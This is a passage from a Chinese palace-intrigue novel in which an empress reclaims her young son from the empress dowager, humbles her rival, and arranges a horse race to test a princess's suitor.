“伊玛戈!”乌兰晔大哭不止,窝在她怀中不肯起来。云屏终于赶上了,停在帘幕外,撑着自己的膝盖,上气不接下气。段知妘下意识把孩子抱紧,又抬头看看自己的女儿,满脸的疑惑:“你欺负他啦?”
云屏喘得厉害,说不上话,只是朝母亲摆手。段知妘只好把乌兰晔从怀里扒出来,温柔地给他把眼下的泪都擦干了,轻声道:“纳尔朗不哭,跟伊玛戈说,怎么了?谁欺负你了?”
乌兰晔说不出来,只是哭,整个人拼命往她怀里钻,好像她的怀抱就是这世上最安全的地方。
云屏直起身,终于喘匀了一口气:“皇兄和姐姐回来了。”
乌兰晔明显感到祖母的身体僵了一下。他不明白是怎么了,但本能地止住了哭声,抬头看着段知妘。
“哦,我以为什么事呢……”段知妘神色淡淡的,“也该回来了。”
她低下头,擦了擦乌兰晔的脸:“你哭什么呀?回来的可是你亲娘。”
她的语气分明没什么异常,但乌兰晔突然抖了一下。刚才那种安全感消失了,他无措地看着他的伊玛戈,好像不认识她了。
段知妘撑着他的腋下,让他自己站好,然后起身,整了整衣裙,这才重新牵住了乌兰晔的手:“你该回去了。”
“我不要!”
“哪有孩子不认亲娘的道理?”
乌兰晔又哭了,他什么都不明白,只能抱住了祖母的腿,凭着心里想的喊出来:“伊玛戈别不要我……”
云屏皱起眉,想上来安慰他,可是段知妘抬了抬手,示意她别说话。她看着哭个不停的孩子,脸上一点表情都没有。
那个及笄礼是什么意思,再明白不过了,萧明绰是想告诉她,云屏捏在她手里呢。如今的萧皇后,手段硬,心更硬。亏得辉儿还傻乎乎的,以为那是她的好姐姐……好啊,那就还回去。
段知妘露出了一个小孩子看不懂的笑容,蹲了下来,把乌兰晔跑乱的衣领重新理好,就这样轻声细语地,就和往日里跟他说去跟冯先生上课不要打瞌睡的语气一模一样,看着他的眼睛说:“你又不是我的孩子,我要你做什么?”
“额珂!”云屏叫起来,“你说什么呀!”
段知妘不理会她。乌兰晔还太小了,他不懂怎么隐藏自己的情绪,所以他现在就像是突然被捅了一刀似的,睁大眼睛看着她。都说他跟乌兰徵一个模子里印出来的,可是段知妘看着他长了这么几年,总觉得他和萧明绰也很像。
尤其是,这样信任她之后,又突然被她捅了一刀的神情。
“走吧。”段知妘站起来,握紧了孩子的手,“你娘回来了,该把你还给她了。”
第102章
明绰走出来,看见段知妘还站在外间。整个长秋殿里都弥漫着一股说不出的诡异气氛——这里每一个人都经历过七年前那个夜晚,有人现在还带着伤痕,有人已经不在了,所以没有人对太后毕恭毕敬,小心伺候。可是这七年来没有皇后庇佑,他们也不敢得罪太后,只有无数恐惧与不甘交织的眼神,远远地,隔着门,隔着墙,隔着窗,隔着七年的时光,看过来。
但段知妘好像根本没有察觉到这种气氛。她站在堂中,就算连杯茶也没人上,她也不在乎,面色如常地打量着这殿中的一切。其实没有太多的变化,明绰走后,长秋殿里的人也一直将这里维持着原样。提前知道了皇后要回来,更是打理得井井有条,一应的物件和日用还是当年从大雍搬来的嫁妆,唯独堂上高几多了一张牌位,写着“哀贞梁氏芸姑之灵位”。
明绰看她盯着灵位,微微垂下眼,面上不动声色,反而客气道:“太后,坐吧。”
段知妘闻声回过头,上上下下地看了她好几眼。
“晔儿睡下了?”
明绰点了点头,音量很低:“冬青,上茶,别怠慢太后。”
冬青这才肯去端茶,明绰也不管段知妘坐不坐,自己转过去,当着她的面捻了三支香,点上了,在梁芸姑灵前拜了拜。
出乎她的意料,见到段知妘的时候,她竟然比自己想象的要冷静得多。晔儿被她牵
在手里,眼睛红红的,明显是哭过,但已经很冷静,冷静得不像一个孩子。段知妘让他跪下,叫母后,他就跪了,只是憋了半天,也只说出来一句“见过皇后”。明绰便没忍住把孩子抱进了怀里,晔儿似是有些不舒服,身子很僵,但终究是没有挣脱开母亲的怀抱。
他们来的时候就已经很晚了,明绰根本没有理睬太后的意思,自顾自带着晔儿回里间去,和秋桑一起照顾他睡下。秋桑说,小时候伺候的保母到晔儿断了奶就被太后遣出宫了,她能一直在皇长子身边,是泰赤哈氏努力争取的结果,也是因为她时常给皇后写信,太后终究是忌惮。冯濂之的密报说得没错,泰赤哈氏病了以后,晔儿就被接进了长霄殿,秋桑为了能继续留在晔儿身边,不得不对太后低头,每一封信能说什么,不能说什么,也都要由太后过目……她说到这里便停了下来,脸上的神情非常复杂。似是有恨,但又有一些除了恨以外的东西。犹豫了好一会儿,终究还是对明绰说:“但这些年,太后对皇长子殿下……倒确实是用心的。”
明绰直起腰,把香插|进牌位前的香炉中:“多谢你这么多年照顾我的孩子。”
段知妘嗤笑了一声,似是不耐烦她这惺惺作态,只问:“陛下呢?”
“库莫乞听说陛下回来了,”明绰转回去,角度微妙地昂着下巴看着她,“这就赶紧进宫求见了。”
段知妘嘴角露出一丝冷笑:“萧明绰,我已经把你的儿子还给你了。”
她这样懒得做场面,明绰便也不跟她绕客气话了,只道:“你该把他送回洛阳。”
“是他自己不愿意离开。”
“他只是个孩子。”明绰看着段知妘的眼睛,“太后摆弄人心的本事,天下没几个大人招架得住,你会拿一个孩子没办法?”
段知妘便不说话。云屏公主骑着马去边哭边送,旁人听着都觉得两个孩子感情好,叫人动容,但明绰一听就知道了,若是没有段知妘的默许和纵容,辉儿不至于做得这么煽情。就算辉儿想不到,太后若是真心想送皇长子离开,也自会拦住女儿。
“你就是要逼我和陛下回来。”明绰了然地撩起自己的袖摆落座,将冬青刚送上来的茶轻轻往前一推,尽管段知妘还站在那里,根本没坐下。明绰抬头看了她一眼,露出一个轻笑,“你想亲自见陛下。”
段知妘垂眼看了看她推过来的茶,到底还是坐了下来,垂着眼睛道:“你从前不是这样小气的女人。”
“我一直都是这样小气的女人。”明绰毫不犹豫地回答,“太后勾勾手指,天下的男人都要为你神魂颠倒,乌兰徵也不过凡夫俗子——我怕呀。”
“如今他只为你一人神魂颠倒吧。”段知妘的声音很轻,“萧皇后可真是前无古人,你母后也得等做了寡妇才有这般权势滔天,你却能在陛下在时就这样让他言听计从。萧明绰,你才是好手段。”
明绰笑得真心实意:“都是太后当年教得好。”
段知妘已经做好了准备,萧明绰一定会羞辱她,但这一句话还是狠狠地在戳痛了她某根神经。太后一张面皮保养得极好,看不出年近四十,可是眼下一条肌肉被气得狠狠一颤时,还是泄露出了一丝狼狈的老态。
她想过无数次,能怎么破这个局,但都没有办法。萧明绰刚开始跟乌兰徵出征的时候,她还觉得是个机会。皇后生产时那一点小小的意外也就没什么,她还是可以达成自己的目的。
可她没有想到,萧明绰竟然舍得下她的儿子,不回来了。乌兰徵下令调走尚书台的时候她就察觉出了萧明绰的目的,可无论她怎么鼓动乌兰亲族们上书反对都于事无补。
见不到乌兰徵,什么旧情,什么控制,全都是空的,更何况他身边还有萧明绰。她发现她还是高估了乌兰徵对她的感情和依赖,她以为她是比萧明绰更聪明的那个,因为她不爱,因为她只有控制,所以她不会像她那样失望和伤心——她曾经冷笑看着萧明绰被爱意渐渐蒙蔽,一步一步走进她设好的陷阱,后来却只能眼睁睁看着她再用这份爱意,把乌兰徵一步一步带离了她的身边。她这个时候才想起来自己亲口对萧明绰说过的话,权力,是可以用真心去换的。
可是已经太晚了。从前她缩在西海权贵们身后是障眼法,如今,却是因为真正的孱弱。但萧明绰还是没有放过她。皇后轻轻松松,就把贺儿氏从背靠的大树,重新变成了太后的敌人。
库莫乞此时正在跟乌兰徵说什么呢?正式求娶公主吗?他们家一直都觊觎云屏,这一点段知妘很清楚。库莫乞残废了以后,他们更需要云屏。她的不愿意,没有任何力量支持,反而越来越令贺儿薄恼火。太后已经不是当年的太后,还摆什么谱?
她连最后的庇荫都要失去了,只剩下一条路。
“太后死了这条心吧。”明绰还在对着她笑,“我不会让你见到陛下的。”
段知妘明白了。陛下回长安,宗亲朝廷原本都是要去接的,她也安排好了盛装,就等着去城门。她本以为他们连迎驾都略过了就提前回来是因为着急见孩子,原来萧明绰还有这层意思。
“我是她的母后,”段知妘强撑着昂起下巴,“你有什么理由不让我见他?”
“因为我不想,”明绰说得轻描淡写,“就可以。”
“皇后太自信了吧。”
明绰笑了,手指在杯沿轻轻划了划。然后她敛了敛袖子,作出了一副准备耐心长谈的样子。
“太后也不是外人,我同你说些建康的宫廷秘事吧。现在天下人都知道我皇兄不是我母后所出,却不知我母后自小给他下药,让他身体不好,不能理政……其实他十三四岁的时候就知道了,那个时候我太父是帮着他的。你看,我太父不喜欢女人掌权,一心想要把我皇兄培养成才……”明绰耐心解释,生怕段知妘听不明白似的,“皇兄可以把此事告诉太父,可是他又担心,太父和我母后才是亲父女啊。这感情的事情,偏向这一头,还是偏向那一头……哪里说得准啊?所以他就忍了。”
段知妘没忍住轻轻挑了挑眉,萧盈是个什么人物,她大概有数。但是听到他十几岁就有如此城府,还是有些惊异。
明绰托着腮,继续往下讲:“你猜他忍到了什么时候?”
段知妘很配合地追问:“什么时候?”
“他一直忍到长沙王叛乱,忍到设计谋取了执金吾卫的军心,而我母后得罪朝中世家,又为了不肯要我远嫁而惹得太父很不高兴的时候,以此事逼我太父出手软禁了我母后——”她有意乍然截断了话音,看着段知妘强撑着不动声色的表面,眼中却不由自主地露出了一丝慌乱。
“我皇兄的智计心性,世上少有。”明绰满意地笑了笑,“我也不过
是学了一二分。”
段知妘听明白了,突然自嘲地笑了一声。她一直以为,萧明绰是因为忌惮她会说出私通母国的事情才讳莫如深。可是时移世易,如今的大燕从各方面来看都已经与南国平起平坐,大雍使臣的态度极好,两朝开路通商,士人学子、走商行贩凭文牒即刻自由穿行,乌兰徵已经不会再那样忌讳皇后与母国的联系了。太后此时要拿出那封信,只会证明当年是她害了皇后。
同样一件事情,什么时候说,在什么情况下说,怎么说……都会有截然不同的结果。太后已经耗完了她的筹码,现在局面完全在皇后手中。
她最后这条路也被堵死了。
段知妘低下头,指甲深深地嵌进了自己掌心。她努力克制着自己音调的平稳:“皇后,一切的罪孽都是我造下的,辉儿没有对不起你……”
“是啊,所以我要为她寻一门好亲事。”明绰放松地握着茶杯,像在跟她拉家常,“宫里都知道,公主和贺儿冲青梅竹马,感情很好嘛。”
段知妘咬了咬牙:“到底要我怎么做,你才能放过辉儿?”
明绰抬起眼睛,不笑了:“跪下。”
段知妘怔愣了片刻,然后她果断地起了身,撩起裙摆便要跪。明绰神色淡淡的,只道:“不是跪我。”
她指了指案上梁芸姑的牌位:“跪下。”
段知妘深吸了一口气,面朝着梁芸姑的牌位,跪了下来。明绰冷着脸,看着她,于是段知妘主动磕了一个头下去,嗑得很重,额头抵在地上,发出轻微的“咚”一声。明绰什么都没说,她便继续磕,每一个声音都很响。明绰垂下眼,似是不忍心看,但也始终没有叫停。直到段知妘伏在地上,屈辱的眼泪终究是不受她的意念控制,落了下来。
饶是如此,她却还是没有一句忏悔,哪怕是假惺惺的求饶。
明绰轻轻地“呵”了一声,似是觉得可笑。段知妘如今只能托庇于贺儿氏,把女儿嫁过去,其实对她是有好处的。可是她在自己和女儿的幸福之间,还是选择了女儿。明绰因此而被一种新的愤怒刺痛,好像段知妘选择做一个母亲,反而比她死不悔改的态度更加罪无可恕。七年前的质问像一句诅咒一样缠绕在她耳畔,段知妘每一声叩头都像一个回响。
连她都可以为女儿做到这样,你又算什么样的母亲?你刀挟亲儿,一走了之,天下怎会有你这样的母亲!
“行了!”明绰终于开口制止了她的动作,不适地别开了眼睛。段知妘抬起头看着她,额头正中间已经红肿了一片。
明绰看着她那副样子,突然站了起来,走到了段知妘面前,轻轻俯身,挨近了她的脸:“你不会以为,你磕这两个头,芸姑的死就能一笔勾销了吧?”
“皇后若要我偿命……”
“不不不,”明绰打断她,“晔儿会伤心的。”
更何况,段知妘毕竟还是大燕的太后,即便她现在在朝中的影响力已经很弱了,但要是突然死了,就会方便很多人做文章。
“你如此费尽心机,不过是想着老来可依。”明绰直起腰,居高临下地看着她,“从前想着继续把持朝政,如今……”
她顿了顿,露出了一个讽刺的笑意。如今太后大概也没这般心气了,她当年得罪了太多西海权贵,即使这些年着意与乌兰亲族七大姓修好,终究为时已晚,恨她的人不在少数——别人不说,明绰相信乙满从没忘记过齐木格之死。可以想见,等到晔儿登基那一天,她若没有新帝庇佑,也不知敢不敢闭眼睡觉。
就为这个,秋桑说她这些年对晔儿尽心,明绰相信。
“就是不知道,这幼年养育的恩情,晔儿能记几年?”
段知妘看着她,极尽轻蔑地冷笑了一声。既然只能把皇长子还回来,她就知道,皇后不会让乌兰晔还记得她这个祖母的。明绰看着她这个冷笑,突然无比清晰地确认了一件事。
她一定已经在晔儿面前说过了自己无数的坏话,所以她才那么笃定皇后也会做同样的事,才会露出这样全不指望的冷笑。
段知妘站了起来,明绰咬着牙看着她整了整衣裙,理了理鬓角。太后即使输了,也绝不会任她羞辱,摇尾乞怜。
“他能记我几年不重要。但他手上的疤是怎么来的,他一定会记一辈子。”段知妘笑了笑,“皇后,好好养你的儿子吧。”
她转过身,头也不回地走出了长秋殿。
第103章
春夜尚寒,还未过亥初,长秋殿中已经灯灭人息,只余一盏烛光,那还是因为陛下没回来,皇后给他留的。弄得乌兰徵刚回来的时候浑是一愣,明绰在洛阳时堪称宵衣旰食,不到子时以后是不会歇的。而且殿里也没留几个人伺候,他一边往里走,一边习惯性叫了声冬青,话音还没落,便看见明绰半躺在床上,朝他“嘘”了一声。
她只躺在床边上,占了一点点位置,脚都还够着地。可是床上的被子下面鼓鼓囊囊的,已经有个小小的人形了。乌兰徵快走了两步过来,果然看见晔儿嘴巴张开,在床上睡得正香。他一段手臂露在外头,睡得袖子皱巴巴卷上去,露出半截旧疤,已经淡得几乎看不出来了,明绰低着头,出了神似的看。
乌兰徵压低声音:“他肯来啦?”
明绰“嗯”一声,已闻见了他身上有酒气,把他往边上赶:“你别熏着孩子。”
乌兰徵很不甘心地伸着脖子:“我也看看他!”
“把外袍脱了再来!”
冬青已经闻声来了,见状赶紧站到乌兰徵身后,接了他抖下来的外袍,顺便把那些腰上的环啊佩啊也一并解下,乌兰徵一身清清爽爽的,明绰这才腾了个床尾的位置给他。乌兰徵坐下来,二话没说,先被子掀起来,看晔儿的脚。
明绰立刻嘴里“啧”一声:“你干嘛?”
“我看看,”乌兰徵的手搭到孩子两个踝骨上,摸了摸,“不是说跳下来伤的是脚踝吗?”
正是长身体的时候,别骨头上落下什么毛病。
明绰看着他摸了两把,眼神便柔和下来。乌兰徵没摸出孩子脚伤得有什么,但觉得小小巧巧的,实在可爱,那脚脖子跟他手腕一般粗细,他手指张开能把两个脚脖子都握在手里,便很新奇,比划来,比划去。再挠挠脚心,发现孩子跟明绰一样,脚底全是痒痒肉,一点儿经不得。晔儿被父亲扰得梦里都烦,哼唧了两声,翻了个身。明绰赶紧在他手上打几下,又不好发出声音,只是龇牙咧嘴的朝他凶。乌兰徵满脸的笑意,声音都憋住了,作出息事宁人的神情,一边把孩子的脚重新盖好,表示不闹了。
两人好一会儿都没说话,安安静静的,只是盯着睡着的孩子看。那一盏灯有点儿远了,光过来就剩一点儿了,不打扰晔儿睡觉,但足够父母两个把他的脸印到心里去。他在孩子里算瘦的,光长个子,一点儿肉没有,白日里明绰第一眼看见他就感觉心疼。但是晚上躺着睡觉,其实两颊还是有嘟嘟的肉,看起来一团化不开的稚气。明绰心里也好想上手摸摸孩子,亲亲孩子,只是刚刚才教训过做父亲的手贱,她没好意思。
看着看着,眉头又皱起来,不自觉地露出愁容。
“怎么了?”乌兰徵轻声问她。
明绰摇摇头,什么都没说。
乌兰徵看看孩子,又看看她,突然道:“像你。”
明绰瞥他一眼:“哪儿像?”
她怎么觉得晔儿从上到下就是一个缩小的乌兰徵呢。冯濂之说皇长子是黑瞳,像她,她竟然也没顾得上仔细看,现在孩子睡着了,她也不能扒开孩子眼睛看。
乌兰徵就伸出手在脸上大概地比划了一下,也说不出哪里,反正就是挺像的。明绰嘴一撇,十分委屈似的:“他就像你!”
乌兰徵便“嘿”一声,乐得开了花,横着在床尾一倒,隔着被子在孩子身上亲了一口,也不知道亲的是孩子的腿还是脚。亲完了才发觉不对,晔儿大摇大摆地睡在床正中间了。
“咱们怎么睡啊?”他抬起头问明绰。
明绰朝他使个眼色,意思是让他床脚凑合窝着吧,然后又不肯理他了。
乌兰徵脸上带着笑,一条长腿伸过去,在她腿上勾了勾。明绰理也不理,就无声地把他腿拨开。乌兰徵不依不饶的,又伸过来蹭一遍,终于换得明绰咬着牙威胁式的朝他“嘶”了一声。
乌兰徵赶紧有话快说:“库莫乞刚才给我看了件东西。”
明绰总算正眼看着他。乌兰徵
便叹了口气,从怀里掏出一枚玉佩,交到了明绰手上。明绰一眼就知道什么东西了,云屏自小就随身带的物件,西觉寺里法师们加持过的一朵玉莲花。
为什么会由贺儿库莫乞交给乌兰徵,自然也就不必问了。
乌兰徵:“你还真没说错。”
太后不愿意,辉儿可是愿意得很。
“这叫什么意思?”明绰微微冷了脸,“库莫乞要是有意,就该好好地来跟陛下求娶公主。他又不说,光把这个拿出来是想说什么?公主跟他弟弟私定终身了?这样大逆不道,污蔑公主的清白,陛下怎么没当场砸他脸上!”
乌兰徵一愣,没反应过来皇后的态度怎么突然转了这么大一个弯。
“他也不是,”乌兰徵的底气弱弱的,“不是那个意思吧……”
乌兰人没汉家女那么多规矩,年轻男女两情相悦,私相授受,又不是什么丑事。
明绰又问他:“那陛下现在怎么打算?真把妹妹给他们家?”
乌兰徵这回是真愣了。他本来是因为贺儿冲的品性不太好而犹豫不决,但是皇后一力促成,今晚又得知两个孩子确实两情相悦,他心里已经七八成愿意了。现在皇后突然这个态度,他两只眼睛一眨,又一眨,最后说出口的成了个问句:“我给……不给?”
明绰顺手就把玉莲花扔他怀里了。德行。
乌兰徵伸手一接,哭笑不得:“不是你一直说他们般配的嘛!”
“我……”明绰一时张口结舌,总不能直说她就是耍心眼逼太后服软,其实根本没打算把辉儿嫁给贺儿冲。
但她心念动得飞快,马上找出了话来。
“方才陛下不在,太后来过了。我已问了太后的意思。”
乌兰徵便了然地“呵”了一声,明白了皇后的态度怎么会突然这样大转弯。库莫乞也跟他说了,太后一直反对,拔勒突於支回来探口风的时候,太后甚至直接禁了公主的足,不让她见自己的弟弟。想来是因为他如今是个废人了——说这话的时候,他那两个空空荡荡的眼眶偏向了一旁,只能用耳朵凑向陛下。就是这个动作,看得乌兰徵心里很难受。
他知道太后不是因为这个,可是看着库莫乞这副样子,乌兰徵心里的那杆秤难免还是倾斜了。
明绰敏锐地从他那声“呵”里听出了一点儿东西,打量着他的脸色,斟酌着道:“不如这样吧,陛下也别听我的,也别听库莫乞的,找个机会亲自见见贺儿冲。”
乌兰徵不以为然的神情:“我叫他来能看出什么?他二十来岁的人了,御前应对还不会装装样子?”
这话也是。明绰仔细想了想,道:“贺儿冲向来输不起,从前输个棋给我都要大发脾气。陛下寻个由头,跟他比个骑射什么的……”
“他岂敢赢我?”
“你找个年轻人嘛!”明绰嫌他脑子转不过弯来,“最好也出身七姓,年龄要比他再小上几岁,这样的人才能把贺儿冲激起来,陛下且看,他现在输了,还管不管得住自己的脾气。”
乌兰徵若有所思的:“是个办法。我担心的也不是别的,就是他那脾气。”
若是普通暴躁些也就罢了,可贺儿冲怒起来就要提刀的。小时候跟着库莫乞一块儿跟他们打过一场猎,他的狗就是不小心放跑了一只野兔子,贺儿冲硬是把好好一条猎犬砍了头扒了皮——那狗还是库莫乞送他,他亲手养大的呢!贺儿薄挺高兴,觉得孙儿有血性,定是个能令敌军丧胆的好男儿。乌兰徵却觉得他那个性子,真到两军对垒的时候,对面骂两句他就先上头了,顶什么用。所以一直没让他跟着上战场,就当个富贵闲人养在长安,他打死了家奴,乌兰徵也看在库莫乞的面子上,只当不知道。
但要娶他妹妹,他就不能当不知道了。
明绰看着他,突然道:“这趟回来,你倒是对辉儿上心不少。”
乌兰徵便笑:“她小时候还不觉得,长大了,倒是亲了很多。那天突然往我怀里一扑……也不知道为什么,我心口都疼了一下。”
明绰笑了笑:“陛下这是为人父的瘾头上来了。”
乌兰徵就躺在床上,又叹:“是想要个女儿。”
这也不是他第一次说这个话了。从前只想要继承人,如今又添了新的念想,也不知道是不是萧典那昏话让他听进去了。从漠北回来以后,他已缠着明绰说了好几回。明绰也不是完全不想要,只是当时晔儿不在身边,明绰总觉得这样对不起晔儿。又怕一生下来若又是个男孩儿,长安这些人会不会觉得皇长子于太子之位无望,因此对晔儿不好——所以总是不答应。
现在乌兰徵提这个,明绰就只是横了他一眼,什么都没说。乌兰徵感觉她态度松动了,一个激灵坐了起来要去抱她。明绰马上把人推开,声音小得只剩口型了:“晔儿还在这呢!”
“让秋桑把他抱下去。”乌兰徵有点儿嫌弃的口吻,“怎么让他睡这儿了。”
“不行!”明绰更加坚决地把人推开,“我今晚要陪着晔儿,陛下要是嫌我这里地方不够,自己回剑器阁去!”
“不要……”
两个人的声音都小了下去,耳鬓厮磨,不比衣料摩擦的簌簌声大多少。谁也没看见面朝里的乌兰晔不知道什么时候睁开了眼睛,眉头皱紧,和母亲有几许神似。稚气的脸上写满了不该在这个年纪有的复杂情绪,又是困惑,又是忧愁。他自己也想不明白为什么,只觉得心里酸酸涨涨的难过。一滴眼泪无声地从眼角滑了出来,顺着鬓角落进了发间,没有人被任何人发觉。
明绰尽量保证晔儿的生活一切如旧,也不着急提要带他回洛阳的话,想一切都慢慢来。乌兰晔依然每日要去冯濂之那里上课,贴身伺候的人都是明绰让秋桑去长霄殿调来的。段知妘没有使任何绊子,乖乖地就让皇后把人带走了。明绰也不忌讳,只要她们能帮着晔儿渡过这段变化就好。反而是乌兰晔自己,有一天突然跟明绰说,他不需要太后的人跟着伺候他。
那就是儿子跟明绰主动说的唯一一句话。
乌兰晔的态度很奇怪,他好像已经接受了回到生母身边的事实,但还是不太愿意跟明绰说话。无论明绰问他什么,他都是低着头不作声。给他什么就吃什么,穿戴玩乐一概不挑,过于乖巧,反而弄得明绰非常惶然。她甚至跟着晔儿去上了一次课,结果晔儿连上课都不肯开口了,只埋头写字,把冯濂之也弄得很无措。等她过两天再召冯濂之问,又说只要皇后不在,皇长子还是愿意说话的。
对此,乌兰徵还是那句话,再给他一点时间。
明绰就不愿意听他这样说,因为乌兰晔对父皇并不是这个态度,话虽不多,但好歹问话不敢不答。皇长子除了文课,还有乌兰亲族来教授弓马和武艺,那天乌兰徵去亲自抱着儿子骑了回马,送了他一把从漠
北带回来的兽骨匕首,乌兰晔就高兴了,回来睡觉都抱着匕首不肯让人碰。
没过几天,陛下又一次在御林苑设跑马会。从前乌兰徵只要在长安,这跑马会是每隔几个月就要办的,如今竟也断了快七年了,是以重办起来十分隆重,不止是乌兰亲族七大姓都到了场,其余部族的西海王公们也都露了面。就连贺儿库莫乞都露了面,他已不能骑马,也看不见什么,但仍旧坐在马场中间的凉亭上,跟贺儿薄、步察巴合他们这些年纪大的一起说说话。
明绰策马经过的时候抬头看了一眼,想起当年坐在那凉亭里同那些西海人少年们赌钱玩乐,只觉得恍若隔世。
冯濂之勒住了马头,跟着停在了皇后身边,明绰转头看了他一眼:“冯大人当年来过跑马会吗?”
她记得齐木格没来,因为那一年的跑马会是段太后组织的。但出乎她意料的是,冯濂之点了点头:“来过。”
当时齐木格对段太后的一举一动都戒备,所以派他来查探。
“臣当日只能与马奴为伍,皇后想必没见过臣。”
明绰俯身安抚了一下躁动晃头的马,说得很平淡:“今时不同往日了。”
冯濂之许久没有说话,静静地抬头看着高高的凉亭。他记得当日的盛况,大雍来的萧夫人太美了,少年们口口相传,都争着上去一睹美人的风姿。当时凉亭上还有另一个人,那些少年大多是那个人的学生。
“他们从前都很喜欢我。”明绰自语似的,说得很轻,有一些自嘲似的笑意。
冯濂之看了皇后一眼,也道:“今时不同往日了。”
两人正说着话,乌兰辉一袭红衣,纵马而过。明绰张嘴就叫住了她:“辉儿!”
“姐姐!”云屏公主灵活地勒住马,掉转过来看她。冯濂之立刻控着马退了几步,一边颔首为礼:“公主。”
明绰看着她一身火红的骑装,心中一时竟说不上是什么滋味儿,硬是往下压了压才问:“跑哪儿去?”
“皇兄设了彩头,他们在比赛呢!”乌兰辉一张脸红扑扑的,手里举着马鞭,指了个方向,“姐姐去看吗?”
明绰一看她这神情就有数了:“贺儿冲比吗?”
乌兰辉脸上更红,带着笑意点了点头。
纳尔朗已经提前跟她告密了,皇兄今日这场跑马会只是个由头,其实是为了相看贺儿冲,所以才没让她母后来。乌兰辉着急问纳尔朗,那皇兄是什么态度,到底同不同意这桩婚事,那孩子又气冲冲地不肯说了。
“走,”明绰控着缰绳,指挥着马儿转了个方向,“我也去看看。”
第104章
只听得一声令下,两匹马同时蹿了出去,都同离弦之箭一般,带出了猎猎的风声。马上的两个人年纪都不大,穿着更华贵些的便是贺儿冲,他如今已二十出头,身量颀长,肩膀宽阔,头发按照乌兰男子习惯的样式编成高高一束,荡在脑后,一派英气逼人。跑马时身子前倾,以腰腿发力,屁股几乎不沾马鞍,站得稳稳当当。他的骑术已算是相当精湛,只可惜他的对手更强一些,不过眨眼,已经超过了他半个马身。
那是拓莫阙家里的小儿子拓莫也哲。两人跑到了众人视线的尽处,随着一声呼哨同时转弯。拓莫也哲的马纵身一跃,几乎是用飞的,一下子就超过了贺儿冲整整一个马身。
乌兰晔“嗷”地一声发出了天大的动静,小小的拳头举起来在空中狂热地挥舞,险些照着乌兰徵的下巴就来上一下。他们共骑的马都被他惊动了,乌兰徵赶紧控住缰绳,好笑地看着一向“沉静稳重”的皇长子。
乌兰晔一张脸通红,根本没注意到阿耶的眼神,只顾声嘶力竭地喊:“也哲——!快!跑啊!”
拓莫也哲不负所托,随着最后一声呼哨,再次调转马头,狂奔出去,又跟贺儿冲拉开了一段距离。
乌兰晔喊得嗓子都劈了,在马上不断咳嗽。乌兰徵解了水囊喂到他嘴边,乌兰晔接过来“咕咚咕咚”就喝,喝完了还回去,才想起来好像有点儿失态。豆大点儿人,还知道尴尬,都不好意思看父皇的眼睛了。
乌兰徵把水囊重新放好,突然问他:“你跟拓莫也哲玩儿得好?”
乌兰晔低了头,一时之间不知道该怎么回答这个问题。年轻一代的乌兰亲族都有机会跟皇长子接触,但要说“玩儿得好”,倒也没有。皇长子再尊贵,在他们眼里都是小屁孩,那些大孩子没有耐心跟他玩儿。
乌兰徵摸了摸他的头,只道:“没关系,纳尔朗,跟阿耶说说。”
纳尔朗抬起头来看着他。他到现在只敢叫他父皇,“阿耶”两个字好像太亲了,他叫不出口。
乌兰徵看了看他的表情,又猜:“你不想贺儿冲赢?”
纳尔朗这回没有犹豫就点了点头。
乌兰徵眉毛一挑:“你不喜欢他?为什么?”
纳尔朗脸又憋红了,他很难跟父皇表达为什么,要直接说“他欺负我”这样的话,也太丢人了。纳尔朗是个很有自尊心的孩子,所以他憋了半天,也只小声吐出来一句:“冯先生说,君子戒慎乎其所不睹,恐惧乎其所不闻。不可背后语人是非。”
乌兰徵显然没想到儿子小小年纪会说出这样的话。普达惹氏虽对他不好,但极有远见,在乌兰徵很小的时候就知道该早早地让下一代接触汉学,以便日后统治更广阔的疆域。但其时乌兰氏尚未入主中原,汉人看不起他们蛮夷,愿意来教他的先生水平也很有限。如今他的儿子倒是比他强得多了,这份聪敏早慧,也许是随了他的母亲。乌兰徵心中涌起一股慈爱与感慨交织的复杂情绪,忍不住摸了摸孩子的头。
此时贺儿冲和拓莫也哲已经跑到了最后一程,折返回来了。乌兰徵抬眼一看,便见着妹妹也在人群中,还在为贺儿冲欢呼。贺儿冲的骑术倒也真是不赖,竟然又让他追上了,两匹马并驾齐驱,一时难分胜负。纳尔朗马上忘记了跟父亲在说什么,又大呼小叫地为拓莫也哲喊起来,动静大得马直打响鼻。乌兰徵不得不控住缰绳,把儿子牢牢地圈在了怀里。
明绰也在云屏身边,隔着宽阔的马道,朝云屏那边歪了歪头,跟乌兰徵交换了一个有些无奈的眼神。
比赛很快就出了分晓,拓莫也哲险胜了半个马身。随着众人山呼海啸般的欢呼,他大笑着纵马上前,跑得一身大汗淋漓,翻身下马,半跪在乌兰徵马前,动作行云流水,声音洪亮有力地喊:“陛下!臣胜了!”
“好!”乌兰徵也笑,低头问儿子,“纳尔朗,你说,赏他什么?”
纳尔朗又看看父亲,确认他是不是真的有这个权力似的,得到了父亲的首肯,他便兴奋地一拍马鞍,高声道:“封你做大将军!”
乌兰徵纵声大笑,身边的人也都跟着大笑起来。纳尔朗被这笑声感染,脸上一团红,兴高采烈地看着父亲。乌兰徵这才看着拓莫
也哲,笑道:“你阿耶已经是个了不起的大将军啦,为大燕镇守辽东,护国有功。果然是虎父无犬子,你啊,也可谋个‘小将军’做做。”
拓莫也哲眼中一亮,抬起头来,朗声道:“谢陛下!”然后又用更高的声音喊了一声:“谢皇长子殿下!”
明绰站在马道另一头,看着乌兰徵下了马,然后把儿子抱下来。两人亲得不得了,也不知道说了什么,乌兰徵突然把孩子一甩,让他整个人骑在了自己的肩上。纳尔朗兴奋得大声尖叫,比明绰这段时间看到的任何时候都更像一个孩子。
“做父亲的要讨他欢心还真是容易。”明绰没忍住有些酸溜溜的。看他们父子这样亲近,她一半是心里欢喜,另一半却也忍不住有些嫉妒。
冯濂之突然道:“权力二字,就算是垂髫小儿,也感觉得到其中滋味。”
明绰回头看了他一眼,冯濂之嘴上告了个罪:“臣失言。”然而神色淡淡的,显然是知道皇后不会治他的罪。果然,明绰也只是自嘲似的笑了一声,道:“你说得不错。”
乌兰徵已经密召亲族权贵议过,太常寺也已经准备起大典的仪式,立太子就在眼前。从前还有谣言,认为皇长子不得圣心,如今乌兰徵出入必亲自带着儿子,已是再听不到这样的话了,唯一争论的,无非还是太子在何处立。乌兰徵是无所谓的,但明绰坚持要等回洛阳。毕竟立了太子就要组东宫官署,中舍人和侍讲学士等职由谁出任都是大事,若是任由乌兰亲族摆布,只怕太子还是去不成洛阳,所以皇后绝不会在此事上让步。
如此一来,只怕在儿子眼里就成了母后从中作梗,不愿他被立为太子了。
